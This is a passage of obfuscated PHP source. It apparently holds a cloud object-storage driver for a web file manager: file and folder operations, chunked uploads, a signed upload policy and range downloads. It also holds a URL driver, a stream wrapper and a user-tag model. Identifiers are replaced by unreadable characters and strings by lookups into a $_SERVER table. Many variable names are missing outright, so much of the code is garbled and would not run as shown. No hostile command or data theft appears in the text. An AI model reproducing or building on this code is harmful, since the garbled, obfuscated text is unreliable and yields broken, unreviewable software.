isset($[$贄]) ? $[$贄] : $贄; } public function mkfile($, $泉 = '', $څ = REPEAT_RENAME) { if ($this->setContent($, $泉)) { return $this->getPathOuter($); } return !1; } public function mkdir($՚, $˃ = REPEAT_SKIP) { $ǔ =& $_SERVER[]; $ү = trim($՚, $ǔ[8]); if ($this->_isFolder($ү)) { return $this->getPathOuter($ү); } $ח = array($ǔ[1555]); $ = $this->ussRequest($ү, $ǔ[257], !1, $ח); return $[$ǔ[1290]] ? $this->getPathOuter($ү) : !1; } public function copyFile($ܥԬ, $) { $ =& $_SERVER[]; $μ = array($[1556] . "\x2f{$this->bucket}\57{$ܥԬ}", $[1557]); $ۿ = $this->ussRequest($, $[259], !1, $μ); return $ۿ[$[1290]] ? !0 : $this->getPathOuter($); } public function moveFile($с󐓠, $ƍݜ) { $ȋ =& $_SERVER[]; $٢읈 = array($ȋ[1558] . "\x2f{$this->bucket}\x2f{$с󐓠}", $ȋ[1557]); $ = $this->ussRequest($ƍݜ, $ȋ[259], !1, $٢읈); return $[$ȋ[1290]] ? !0 : $this->getPathOuter($ƍݜ); } public function delFile($ ) { $ =& $_SERVER[]; $ = $this->ussRequest($ , $[1559]); return $[$[1290]] ? !0 : !1; } public function delFolder($љ߇) { $ˠ =& $_SERVER[]; if (!$this->exist($љ߇)) { return !0; } $this->listItemCache = !1; $ƈ = $خۼ = array(); $this->fileList($љ߇, $ƈ, $خۼ, !0); $this->listItemCache = !0; foreach ($خۼ as $ǚ) { $߈˹ = $this->ussRequest($ǚ[$ˠ[32]], $ˠ[1559]); if (!$߈˹[$ˠ[1290]]) { return !1; } } foreach ($ƈ as $) { $߈˹ = $this->ussRequest($, $ˠ[1559]); if (!$߈˹[$ˠ[1290]]) { return !1; } } $߈˹ = $this->ussRequest($љ߇, $ˠ[1559]); return $߈˹[$ˠ[1290]]; } public function rename($ȸ, $׫ϣ) { if ($this->isFile($ȸ)) { $׫ϣ = get_path_father($ȸ) . $׫ϣ; return $this->moveFile($ȸ, $׫ϣ); } return $this->renameObject($ȸ, $׫ϣ); } public function fileInfo($, $Ə = false, $Ԉ = array()) { $쒐 =& $_SERVER[]; $͠ = array($쒐[32] => $this->pathThis($), $쒐[87] => $this->getPathOuter($쒐[8] . $), $쒐[33] => $쒐[230], $쒐[79] => isset($Ԉ[$쒐[79]]) ? $Ԉ[$쒐[79]] : 0, $쒐[169] => $this->ext($)); if ($Ə) { return $͠; } $͠[$쒐[231]] = $͠[$쒐[88]] = 0; $͠[$쒐[232]] = $͠[$쒐[233]] = !0; if (empty($Ԉ)) { $Ԉ = $this->objectMeta($); if (!$Ԉ) { return $͠; } } $͠[$쒐[231]] = intval($Ԉ[$쒐[1560]]); $͠[$쒐[88]] = intval($Ԉ[$쒐[1561]]); $͠[$쒐[79]] = $Ԉ[$쒐[79]]; return $͠; } public function folderInfo($΍, $Д˺ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($΍), $[87] => $this->getPathOuter($[8] . $΍), $[33] => $[78]); if ($Д˺) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($)) { $ = $this->objectMeta($΍); if (!$) { return $; } } $[$[231]] = intval($[$[1560]]); $[$[88]] = intval($[$[1561]]); return $; } private function listObjs($҆Ë, $ހ = 0, $Ր = 1000) { $珰 =& $_SERVER[]; $ȳ = array($珰[1562], $珰[1563] . $Ր); if ($ހ) { $ȳ[] = $珰[1564] . $ހ; } $ҋ = $this->ussRequest($҆Ë, $珰[261], !1, $ȳ); return !$ҋ[$珰[1290]] ? !1 : $ҋ[$珰[1280]]; } private function fileList($ח, &$ȷ, &$, $ = false) { $łܦ =& $_SERVER[]; $ġ = $łܦ[12]; $ = 1000; $񩷹 = rtrim($ח, $łܦ[8]) . $łܦ[8]; while (!0) { check_abort(); $ߒ = $this->listObjs($ח, $ġ, $); if (!$ߒ) { return !1; } $ġ = isset($ߒ[$łܦ[1565]]) ? $ߒ[$łܦ[1565]] : $łܦ[12]; $ț = isset($ߒ[$łܦ[1566]]) ? $ߒ[$łܦ[1566]] : array(); foreach ($ț as $֝) { $⸵Ɂ = $֝[$łܦ[33]] == $łܦ[78] ? !0 : !1; $û = ltrim($񩷹 . $֝[$łܦ[32]], $łܦ[8]) . ($⸵Ɂ ? $łܦ[8] : $łܦ[12]); $師 = array($łܦ[32] => $û, $łܦ[33] => $⸵Ɂ ? $łܦ[78] : $łܦ[230], $łܦ[79] => $֝[$łܦ[413]], $łܦ[1561] => $֝[$łܦ[1567]]); $this->cacheMethodInfoSet($û, $⸵Ɂ, $師); if ($⸵Ɂ) { $ȷ[] = $û; if ($) { $this->fileList($û, $ȷ, $, $); } continue; } $[] = $師; } if (count($ț) < $) { break; } } $this->cacheMethodInfoSet($ח, !0); } public function listPath($, $µ = false) { $ƕ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $뎎 => $㪂) { $[$뎎] = $this->folderInfo($㪂, $µ); } foreach ($ as $뎎 => $㪂) { $[$뎎] = $this->fileInfo($㪂[$ƕ[32]], $µ, $㪂); } return array($ƕ[85] => $, $ƕ[86] => $); } public function has($Ģ, $ = false, $熨 = true) { $þƩ =& $_SERVER[]; $ = $þƩ[12]; $٦ = 500; $҉ = 0; $Р = 0; $ = rtrim($Ģ, $þƩ[8]) . $þƩ[8]; while (!0) { check_abort(); $׈ = $this->listObjs($Ģ, $, $٦); if (!$׈) { return !1; } $ = isset($׈[$þƩ[1565]]) ? $׈[$þƩ[1565]] : $þƩ[12]; $˪߈ = isset($׈[$þƩ[1566]]) ? $׈[$þƩ[1566]] : array(); if (empty($˪߈)) { break; } $ݟم = array_filter($˪߈, function ($) { $ =& $_SERVER[]; return $[$[33]] == $[78]; }); $ԉ = count($˪߈); $ݟم = count($ݟم); $֒ = $ԉ - $ݟم; if ($) { $Р += $ݟم; $҉ += $֒; if ($ԉ < $٦) { break; } continue; } if ($熨) { if ($֒) { return !0; } } else { if ($ݟم) { return !0; } } if ($ԉ < $٦) { break; } } if ($) { return array($þƩ[239] => $҉, $þƩ[240] => $Р); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ڠ = $ס = array(); $this->fileList($, $ڠ, $ס, !0); $ = array_to_keyvalue($ס, $[32]); foreach ($ڠ as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($䵍) { return $this->exist($䵍) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($졧) { return $this->fileSubstr($졧, 0, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; if (!$) { $˺ = $this->ussRequest($, $[257]); return $˺[$[1290]]; } $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($, $ĭ, $ձ) { $̚ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ձ > 0) { $ = $ĭ + $ձ - 1; $ = array($̚[1526] . $ĭ . $̚[462] . $); } $縘 = url_request($, $̚[261], !1, $); return $縘[$̚[817]] ? $縘[$̚[1280]] : !1; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ߚ = IO::size($); if ($ߚ <= 1024 * 1024 * 200) { $ϖ٥ = array($[1568] . $); $ = $this->ussRequest($, $[259], $ϖ٥); return $[$[1290]] ? $this->getPathOuter($) : !1; } $̾ = 1024 * 1024 * 10; $ = array($[1569], $[1570] . $ߚ, $[1571], $[1572] . $̾); $ = $this->ussRequest($, $[259], !1, $); if (!$[$[1290]]) { return !1; } $ = $[$[1280]]; $ΐ = 0; $꨽ = $[$[1573]]; $學 = fopen($, $[1449]); if (!$學) { return !1; } do { $പ = $[$[1574]]; fseek_64($學, $ΐ); $͚ = fread($學, $പ); $ʹ = 0; do { $ʹ++; $ = $this->uploadPart($, $, $͚); } while (!$ && $ʹ < 3); if (!$) { return !1; } $꨽ = $[$[1573]]; $ΐ += $പ; } while ($꨽ != -1); fclose($學); $ = array($[1575], $[1576] . $[$[1577]], $[1571]); $ = $this->ussRequest($, $[259], !1, $); return $[$[1290]] ? $this->getPathOuter($) : !1; } private function uploadPart($ۼ, $, &$”) { $ =& $_SERVER[]; $љ = array($[1578], $[1576] . $[$[1577]], $[1579] . $[$[1573]], $[146] . $[$[1574]]); $־ = $this->ussRequest($ۼ, $[259], $”, $љ); return !$־[$[1290]] ? $־[$[1290]] : $־[$[1280]]; } public function uploadFormData($, $ì = 3600) { return $this->uploadPolicy($, $ì); } public function multiUploadFormData($, $נ܁ = 3600) { $̩ =& $_SERVER[]; $Ȱ = (int) $GLOBALS[$̩[7]][$̩[79]]; return $this->uploadPolicy($, $נ܁, $Ȱ); } private function uploadPolicy($, $ = 3600, $Ѵ = 0) { $ɰ =& $_SERVER[]; $ɪ = $ɰ[8] . $this->bucket; $ = gmdate($ɰ[1484]); $׭ = array($ɰ[1580] => $this->bucket, $ɰ[1581] => $, $ɰ[1582] => time() + $, $ɰ[1583] => $); if ($Ѵ) { $׭[$ɰ[1469]] = $Ѵ; } $Ο = base64_encode(json_encode($׭)); $ą = base64_encode(hash_hmac($ɰ[1537], "\x50\117\123\x54\x26{$ɪ}\46{$}\46{$Ο}", md5("{$this->userpass}"), !0)); $ = array($ɰ[293] => $Ο, $ɰ[1584] => "\125\120\x59\x55\x4e\x20{$this->username}\72{$ą}", $ɰ[208] => $this->endpoint . $ɪ); return $; } public function download($, $) { $ڌ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $گ = 1024 * 200; $ֆ = fopen($ڌ, $_SERVER[][1532]); while (!0) { $ǁ = $this->fileSubstr($, $, $گ); if ($ǁ === !1) { return !1; } fwrite($ֆ, $ǁ); $ += $گ; if (strlen($ǁ) < $گ) { break; } } fclose($ֆ); return $; } public function link($Ԇ, $ = array()) { $ =& $_SERVER[]; $Ԇ = trim($Ԇ, $[8]); if (!empty($this->token)) { $׬ = strtotime(date($[1585])); $뚺 = substr(md5($this->token . $[360] . $׬ . $[1586] . $Ԇ), 12, 8) . $׬; $[] = $[1587] . $뚺; } $ͮ = !empty($) ? $[76] . implode($[360], $) : $[12]; return $this->getHost() . $[8] . $Ԇ . $ͮ; } public function fileOut($ɾ, $ȶ = false, $ș = false, $ĺл = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ɾ, $ȶ, $ș, $ĺл); } if (!$ș) { $ș = $this->pathThis($ɾ); } $ = $ȶ ? array($_SERVER[][1588] . rawurlencode($ș)) : array(); $ = $this->link($ɾ, $); $this->fileOutLink($); } public function fileOutServer($٨, $– = false, $ = false, $ȧ = '') { parent::fileOut($٨, $–, $, $ȧ); } public function fileOutImage($, $ = 250) { $筭؁ = $this->link($ . $_SERVER[][1589] . $); $this->fileOutLink($筭؁); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($ē) { $տ =& $_SERVER[]; $ͮɑ = $this->_objectMeta($ē); return isset($ͮɑ[$տ[245]]) ? $ͮɑ[$տ[245]] : !1; } public function size($Ͼ) { $ = $this->objectMeta($Ͼ); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ؤ) { return $this->isFile($ؤ) || $this->isFolder($ؤ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($𥜲) { return $this->cacheMethod($_SERVER[][179], $𥜲); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][181], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ڗ = $this->ussRequest($, $[1590]); if (!$ڗ[$[1290]]) { return null; } $ = isset($ڗ[$[1280]]) ? $ڗ[$[1280]] : array(); if (!isset($[$[1591]])) { return null; } $ = array($[33] => isset($[$[1591]]) ? $[$[1591]] : null, $[79] => isset($[$[1592]]) ? $[$[1592]] : null, $[245] => isset($[$[1593]]) ? $[$[1593]] : null, $[1560] => isset($[$[1594]]) ? $[$[1594]] : null); $[$[1561]] = isset($[$[1595]]) ? strtotime($[$[1595]]) : $[$[1560]]; return $; } protected function _isFolder($ּ) { $я =& $_SERVER[]; if ($ּ == $я[12] || $ּ == $я[8]) { return !0; } $ο = $this->_objectMeta($ּ); return isset($ο[$я[33]]) && $ο[$я[33]] == $я[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($ݰȔ) { $ = $this->info($ݰȔ); return $[$_SERVER[][232]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[][232]]; } public function isFolder($Ù𾚯) { return !1; } public function size($) { $ = $this->info($); return $[$_SERVER[][79]]; } public function info($ŏ) { return $this->infoParse($ŏ); } public function infoAuth($Ӿ) { return $this->infoParse($Ӿ); } public function infoWithChildren($ы) { return $this->infoParse($ы); } public function infoFull($) { return $this->infoParse($); } private function infoParse($̽) { $ =& $_SERVER[]; $ȁ = $this->header($̽); if (!$ȁ || !$ȁ[$[817]]) { return !1; } $Ï = _get($ȁ, $[413], 0); $ = array($[32] => $ȁ[$[32]], $[87] => $̽, $[33] => $[230], $[79] => intval($Ï), $[169] => get_path_ext($ȁ[$[32]]), $[1446] => $Ï > 0 && $ȁ[$[1596]], $[1447] => !1); return $; } private function header($) { $ㇻ =& $_SERVER[]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $쉤 = isset($GLOBALS[$ㇻ[1597]]) ? $GLOBALS[$ㇻ[1597]] : !1; $GLOBALS[$ㇻ[1597]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$ㇻ[1597]] = $쉤; return self::$_cacheHeader[$]; } public function hashSimple($ޥ, $񪚌о = false) { $쪎 =& $_SERVER[]; $懹 = $this->info($ޥ); if (!$懹 || !$懹[$쪎[232]]) { return !1; } $ = $懹[$쪎[79]]; $ظ = 200; $ּ = 50; if ($ <= $ظ * $ּ) { return md5($this->fileSubstr($ޥ, 0, $)) . $; } $ = intval($ / $ּ); $ߗӏ = $쪎[12]; $뗧 = timeFloat(); $ = 15; for ($԰봎 = 0; $԰봎 < $ּ; $԰봎++) { if (timeFloat() - $뗧 > $) { return !1; } $萖 = $this->fileSubstr($ޥ, $ * $԰봎, $ظ); if (!$萖) { return !1; } $ߗӏ .= $萖; } $ߗӏ .= $this->fileSubstr($ޥ, $ - $ظ, $ظ); return md5($ߗӏ) . $; } public function getContent($ꊕ) { return $this->fileSubstr($ꊕ); } public function fileSubstr($ơ, $ = 0, $Ư講 = -1) { $ =& $_SERVER[]; $ = $this->info($ơ); if (!$ || !$[$[232]] && $[$[79]] > 1024 * 1024 * 10) { return !1; } if ($Ư講 === -1) { $Ư講 = $[$[79]]; } if ($Ư講 == 0) { return $[12]; } $ = array($[1598] . $ . $[860] . ($ + $Ư講 - 1)); $ = url_request($ơ, $[261], !1, $, !1, !1, 30); return $[$[1280]] ? $[$[1280]] : $[12]; } public function download($, $) { Downloader::start($, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $Nj = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][87]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($󄿶) { $莖 = $this->fileSubstr($this->pose, $󄿶); $this->pose += strlen($莖); return $莖; } public function stream_tell() { return $this->pose; } public function stream_seek($䊗, $¶) { $Ӛ =& $_SERVER[]; if ($¶ == SEEK_SET) { $this->pose = $䊗; } else { if ($¶ == SEEK_CUR) { $this->pose += $䊗; } else { if ($¶ == SEEK_END) { $this->pose = $this->info[$Ӛ[79]] + intval($䊗); } } } if ($䊗 < 0) { $this->pose = $this->info[$Ӛ[79]] + $䊗; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ژ, $ي) { $Ӊ =& $_SERVER[]; $ = $this->info($ژ); return array($Ӊ[1599] => 0, $Ӊ[1600] => 0, $Ӊ[16] => 32768 + 511, $Ӊ[1601] => 0, $Ӊ[1602] => 0, $Ӊ[1603] => 0, $Ӊ[1604] => 0, $Ӊ[79] => $[$Ӊ[79]], $Ӊ[1605] => $[$Ӊ[1445]], $Ӊ[1561] => $[$Ӊ[88]], $Ӊ[1560] => $[$Ӊ[231]], $Ӊ[1606] => 0, $Ӊ[1607] => 0); } static $fileInfo = array(); public function info($Ȍ) { $ = $_SERVER[][1608]; if (isset(self::$fileInfo[$Ȍ])) { return self::$fileInfo[$Ȍ]; } if (substr($Ȍ, 0, strlen($)) != $) { return !1; } self::$fileInfo[$Ȍ] = IO::info(substr($Ȍ, strlen($))); return self::$fileInfo[$Ȍ]; } public static function read($, $, $) { if (!isset(self::$_fopenCache[$])) { $Ÿ = new StreamWrapperIO(); $Ÿ->stream_open($); self::$_fopenCache[$] = $Ÿ; } $Ÿ = self::$_fopenCache[$]; return $Ÿ->fileSubstr($, $); } public static function _read($ȋ, $Nj, $) { $ц =& $_SERVER[]; $ = fopen($ȋ, $ц[1449]); if (!$) { return $ц[12]; } $Š = 8192; fseek($, $Nj, SEEK_SET); $ך = $ц[12]; $ = 0; while ($ < $) { $ = min($Š, $ - $); $ך .= fread($, $); $ += $; } fclose($); return $ך; } public function fileSubstr($, $у) { $⬰ =& $_SERVER[]; $د = $this->info[$⬰[79]]; $ = $; $Վٌ = $у; if ($ < 0) { $ = $د + $; } if ($у === !1) { $у = $د - $; } if ($ + $у > $د) { $у = $د - $; } if ($у <= 0) { return $⬰[12]; } if ($ < 0 || $ >= $د || $у <= 0 || $у > 1024 * 1024 * 10) { throw new Exception("\151\157\x46\151\154\x65\x52\145\141\x64\40\x65\162\x72\x6f\x72\x21\40\x73\164\141\x72\x74\75{$}\x3b\x6c\145\156\147\164\150\75{$у}\73\x20\163\x69\x7a\145\75{$د}\73"); } $פ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ = 0; $Űـ = $⬰[12]; foreach ($ as $ => $Űـ) { $ = intval($); $ = $ + strlen($Űـ); if ($ >= $) { continue; } if ($ >= $ && $ + $у <= $) { return substr($Űـ, $ - $, $у); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($⬰[1609], $⬰[1610] . count($) . "\73\163\x74\141\x72\164\x3d{$}\x2c\x6c\145\156\147\164\150\x3d{$у}\x3b\160\157\x73\145\72{$}\x7e{$}"); throw new Exception($⬰[1611]); } $ԣ = intval($ / $פ) * $פ; $̣ = ceil(($ + $у) / $פ) * $פ - $ԣ; $ҹ = IO::fileSubstr($this->path, $ԣ, $̣); $[$ԣ . $⬰[12]] = $ҹ; ksort($); $ڟ = substr($ҹ, $ - $ԣ, $у); return $ڟ; } private function log($Ž, $×) { $ə =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($ə[1612], $Ž, $this->info[$ə[32]], $, $×), $ə[1257]); } } goto AȪȃ; fȋ߇: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\145\x72\x5f\x66\141\166"; protected function cacheFunctionAlias($) { $ҝ =& $_SERVER[]; return array($ҝ[2077] => array($ҝ[2497] . USER_ID, $ҝ[2078])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1754] => USER_ID, $[557] => array($[2081], 0)); $ = $[2498]; $ = $this->field($)->where($)->order($[2084])->select(); return $ ? $ : array(); } protected function addToTag($׼, $) { $ù =& $_SERVER[]; if (!Model($ù[2229])->listData($)) { return !1; } if (is_numeric($׼)) { $в = Model($ù[899])->pathInfo($׼); if (!$в) { return !1; } } else { $в = IO::infoSimple($׼); if (!$в) { return !1; } $ꏟ = $в[$ù[32]]; $۹ = $в[$ù[33]]; if (isset($в[$ù[485]])) { $۹ = $в[$ù[485]] == $ù[91] ? $ù[78] : $ù[230]; } } $ = array($ù[1754] => USER_ID, $ù[557] => $, $ù[495] => $׼, $ù[496] => $۹ ? $۹ : $ù[490], $ù[494] => $ꏟ ? $ꏟ : $ù[12], $ù[1966] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($Ջ, $) { $ =& $_SERVER[]; if (!Model($[2229])->listData($)) { return !1; } if (is_array($Ջ)) { $Ջ = array($[7], $Ջ); } $ = array($[1754] => USER_ID, $[557] => $, $[495] => $Ջ); return $this->where($)->delete(); } protected function removeByTag($) { $ͅ =& $_SERVER[]; if (!$) { return !1; } $ = array($ͅ[1754] => USER_ID, $ͅ[557] => $); return $this->where($)->delete(); } protected function removeBySource($) { $̂ÿ =& $_SERVER[]; if (is_array($)) { $ = array($̂ÿ[7], $); } $򋊔 = array($̂ÿ[1754] => USER_ID, $̂ÿ[557] => array($̂ÿ[1085], 0), $̂ÿ[495] => $); return $this->where($򋊔)->delete(); } }